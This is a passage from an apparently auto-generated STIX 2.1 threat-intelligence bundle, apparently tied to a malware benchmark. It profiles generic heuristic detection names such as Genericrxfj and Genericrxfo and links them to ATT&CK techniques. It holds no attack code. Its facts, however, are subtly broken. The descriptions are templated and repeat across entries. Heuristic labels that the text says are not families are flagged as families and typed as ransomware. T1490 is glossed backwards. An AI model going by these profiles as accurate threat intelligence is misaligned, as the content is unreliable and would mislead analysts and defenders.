      "description": "Genericrxfh exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--402a610f-5a42-5b9a-81cd-dc13fc9eafa1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxfj",
      "description": "<h3>Executive Summary</h3>\n\"Genericrxfj\" (often displayed as Generic.RX.Trojan or Generic.RX.Suspicious) is a heuristic detection name utilized by various antivirus engines. It flags files that exhibit highly suspicious, potentially destructive runtime behaviors characteristic of Trojans, Backdoors, or Loaders. The \"rx\" denotes a detection based on advanced heuristics or sandboxed behavioral analysis rather than a specific static signature.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFiles flagged as Genericrxfj are typically distributed via malicious email attachments (spear-phishing), dropped by exploit kits on compromised websites, or delivered as secondary payloads by initial access brokers.\n\nUpon execution, this class of malware prioritizes establishing a foothold and evading detection:\n<ul>\n<li><strong>Process Injection and Hollowing:</strong> The malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Unauthorized Persistence:</strong> It attempts to ensure survival across reboots by modifying critical Windows Registry hives (e.g., `Run`, `RunOnce`, `Winlogon`) or creating hidden Scheduled Tasks.</li>\n<li><strong>C2 Communication:</strong> The malware will attempt to establish an outbound connection to an unknown IP address or domain (Command and Control) to receive further instructions or download additional payloads (acting as a loader).</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Genericrxfj detection in a critical system directory is a severe indicator of compromise (IoC). It strongly suggests that a potentially advanced threat has bypassed initial static defenses and is attempting to execute malicious code on the endpoint. Immediate investigation is required to determine the true nature of the payload.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against these polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on the malicious behavior flagged by the heuristic engine.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the potential for sophisticated evasion techniques and secondary payload delivery, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.RX",
        "Suspicious.Generic",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxfj",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxfj"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86a5a664-b35e-5769-a8d3-4f98d705944d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--402a610f-5a42-5b9a-81cd-dc13fc9eafa1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfj exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9852ff3f-2fc7-57db-8d54-b8bc2c163798",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--402a610f-5a42-5b9a-81cd-dc13fc9eafa1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfj exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd00e06d-2eba-5510-af3c-bebdfe3a19bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--402a610f-5a42-5b9a-81cd-dc13fc9eafa1",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfj exhibits technique T1106 (Native API)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ae2fb11-1c20-560f-a884-daa8d58fd325",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--402a610f-5a42-5b9a-81cd-dc13fc9eafa1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfj exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0e29295a-6187-5773-aa22-76062e40f7c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxfo",
      "description": "Trojan:Win32/Genericrxfo is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Genericrxfo</b><br>To an end-user, a Genericrxfo infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Genericrxfo is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Genericrxfo is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Genericrxfo frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Genericrxfo reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxfo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxfo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac768f9e-cd8d-55cc-b684-f71dc540b0b2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e29295a-6187-5773-aa22-76062e40f7c1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfo exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6478e34-bba7-520b-beee-2112a5158770",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e29295a-6187-5773-aa22-76062e40f7c1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfo exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f8c8e38-b64d-559a-93b4-0af84fb9ff21",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e29295a-6187-5773-aa22-76062e40f7c1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c1ca5c58-c87c-5f0e-bf64-e4da8cdefcfe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e29295a-6187-5773-aa22-76062e40f7c1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfo exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5163e050-0fef-5760-ad2c-cb595108a87e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e29295a-6187-5773-aa22-76062e40f7c1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfo exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7d98e7e6-ef2f-50ea-92ae-0b433c700753",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxfp",
      "description": "<h3>Executive Summary</h3>\n\"Genericrxfp\" is an automated, heuristic detection identifier utilized by endpoint protection platforms (EPP) to flag highly suspicious executables. It does not represent a named malware family (like Trickbot or Qakbot) but rather a behavioral pattern that strongly indicates the presence of a trojan, downloader, or obfuscated payload attempting to compromise the system.\n\n<h3>Heuristic Triggers and Behavioral Analysis</h3>\nThe \"Genericrxfp\" label is applied when a file's behavior triggers a specific set of heuristic rules within an antivirus engine. These rules are designed to catch zero-day threats or heavily mutated malware that evades traditional static signature detection.\n\nCommon behaviors that trigger a Genericrxfp detection include:\n<ul>\n<li><strong>Suspicious Packing:</strong> The executable is compressed or encrypted using custom, non-standard packers frequently utilized by malware authors to thwart reverse engineering and static analysis.</li>\n<li><strong>Process Injection:</strong> The executable attempts to inject malicious code into a legitimate Windows process (e.g., `explorer.exe`) to hide its execution and bypass local firewalls.</li>\n<li><strong>Anomalous Network Activity:</strong> The program attempts to communicate with IP addresses known to be associated with command-and-control (C2) botnets, or it attempts to rapidly download executable files from unverified domains.</li>\n</ul>\n\n<h3>Security Implications</h3>\nA Genericrxfp alert must be treated as a high-priority incident. The generic nature of the alert means the underlying threat is unknown; it could be a simple adware installer, or it could be the initial access dropper for a devastating ransomware attack.\n\n<h3>Incident Mitigation Strategy</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> Disconnect the affected endpoint from the corporate network immediately to contain potential lateral movement and halt C2 communication.</li>\n<li><strong>Dynamic Analysis (Sandboxing):</strong> Submit the flagged file to a secure malware sandbox. Analyze the resulting report to determine the malware's true capabilities, specifically looking for registry modifications, dropped files, and network IOCs.</li>\n<li><strong>Enterprise Sweeps:</strong> Utilize the IOCs discovered during sandboxing to perform a proactive threat hunt across all enterprise endpoints, ensuring the generic threat has not propagated elsewhere.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Genericrxfp",
        "Heur.Genericrxfp",
        "Suspicious.Genericrxfp"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxfp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxfp"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce26e9e2-d1ed-5a57-b381-9e7a57e2f6d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d98e7e6-ef2f-50ea-92ae-0b433c700753",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfp exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eca8c32a-d4b6-5996-baf8-80bd5ff42c9b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d98e7e6-ef2f-50ea-92ae-0b433c700753",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfp exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86842f18-8b56-5501-a780-ab00516e8a96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d98e7e6-ef2f-50ea-92ae-0b433c700753",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfp exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f28bb41c-b88f-5759-ac24-0ecc8d1c7b1c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d98e7e6-ef2f-50ea-92ae-0b433c700753",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfp exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c36e5f05-3236-5629-8cbe-08d62c632907",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d98e7e6-ef2f-50ea-92ae-0b433c700753",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfp exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4881cb29-9c4e-5f8d-8e01-0524c6cadaea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d98e7e6-ef2f-50ea-92ae-0b433c700753",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfp exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--df7c4f80-8116-5f83-94a4-fba1c6316a02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxfq",
      "description": "Trojan:Win32/Genericrxfq is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Genericrxfq</b><br>To an end-user, a Genericrxfq infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Genericrxfq is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Genericrxfq is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Genericrxfq frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Genericrxfq reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxfq",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxfq"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de09c02d-4381-5f71-939a-d6bbb8802218",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--df7c4f80-8116-5f83-94a4-fba1c6316a02",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfq exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--23a890d8-0851-5614-8c7e-40e7e657477b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--df7c4f80-8116-5f83-94a4-fba1c6316a02",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfq exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cbed1e02-8e04-556c-aa45-d25e60b9434c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--df7c4f80-8116-5f83-94a4-fba1c6316a02",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfq exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9eea5888-df3a-5dd1-a093-64e2fd12dc83",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--df7c4f80-8116-5f83-94a4-fba1c6316a02",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfq exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e85f95d5-7257-56db-8509-c3685dfef121",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--df7c4f80-8116-5f83-94a4-fba1c6316a02",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfq exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--26357dc1-17b9-5756-9445-2590431f0b0e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxfs",
      "description": "<h3>Executive Summary</h3>\n\"Genericrxfs\" is an automated, heuristic detection identifier utilized by endpoint protection platforms (EPP) to flag highly suspicious executables. It does not represent a named malware family (like Trickbot or Qakbot) but rather a behavioral pattern that strongly indicates the presence of a trojan, downloader, or heavily obfuscated payload attempting to compromise the system.\n\n<h3>Heuristic Triggers and Behavioral Analysis</h3>\nThe \"Genericrxfs\" label is applied when a file's behavior triggers a specific set of heuristic rules within an antivirus engine. These rules are designed to catch zero-day threats or heavily mutated malware that evades traditional static signature detection.\n\nCommon behaviors that trigger a Genericrxfs detection include:\n<ul>\n<li><strong>Suspicious Packing:</strong> The executable is compressed or encrypted using custom, non-standard packers frequently utilized by malware authors to thwart reverse engineering and static analysis.</li>\n<li><strong>Process Injection:</strong> The executable attempts to inject malicious code into a legitimate Windows process (e.g., `explorer.exe`) to hide its execution and bypass local firewalls.</li>\n<li><strong>Anomalous Network Activity:</strong> The program attempts to communicate with IP addresses known to be associated with command-and-control (C2) botnets, or it attempts to rapidly download executable files from unverified domains.</li>\n</ul>\n\n<h3>Security Implications</h3>\nA Genericrxfs alert must be treated as a high-priority incident. The generic nature of the alert means the underlying threat is unknown; it could be a simple adware installer, or it could be the initial access dropper for a devastating ransomware attack.\n\n<h3>Incident Mitigation Strategy</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> Disconnect the affected endpoint from the corporate network immediately to contain potential lateral movement and halt C2 communication.</li>\n<li><strong>Dynamic Analysis (Sandboxing):</strong> Submit the flagged file to a secure malware sandbox. Analyze the resulting report to determine the malware's true capabilities, specifically looking for registry modifications, dropped files, and network IOCs.</li>\n<li><strong>Enterprise Sweeps:</strong> Utilize the IOCs discovered during sandboxing to perform a proactive threat hunt across all enterprise endpoints, ensuring the generic threat has not propagated elsewhere.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Genericrxfs",
        "Heur.Genericrxfs",
        "Suspicious.Genericrxfs"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxfs",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxfs"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7cae438b-2572-5c97-8502-89d8edadd762",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26357dc1-17b9-5756-9445-2590431f0b0e",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfs exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--32662d3e-1106-5000-827b-e6656f886c62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26357dc1-17b9-5756-9445-2590431f0b0e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfs exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad58dc36-8a36-5215-80bb-8600f71678bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26357dc1-17b9-5756-9445-2590431f0b0e",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfs exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7467411d-c5ae-5059-95ee-dd23d1337b06",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26357dc1-17b9-5756-9445-2590431f0b0e",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfs exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c7bbb91-0e69-5d05-b198-7423caa4a698",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26357dc1-17b9-5756-9445-2590431f0b0e",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfs exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d925064-c404-591b-a3f9-e1bc44cceaec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26357dc1-17b9-5756-9445-2590431f0b0e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfs exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2a369062-3476-5416-86aa-d34fb89d7126",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxft",
      "description": "Trojan:Win32/Genericrxft is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Genericrxft</b><br>To an end-user, a Genericrxft infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Genericrxft is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Genericrxft is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Genericrxft frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Genericrxft reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxft",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxft"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9783d1f-28c4-5c4a-810f-81c3d1269e8e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
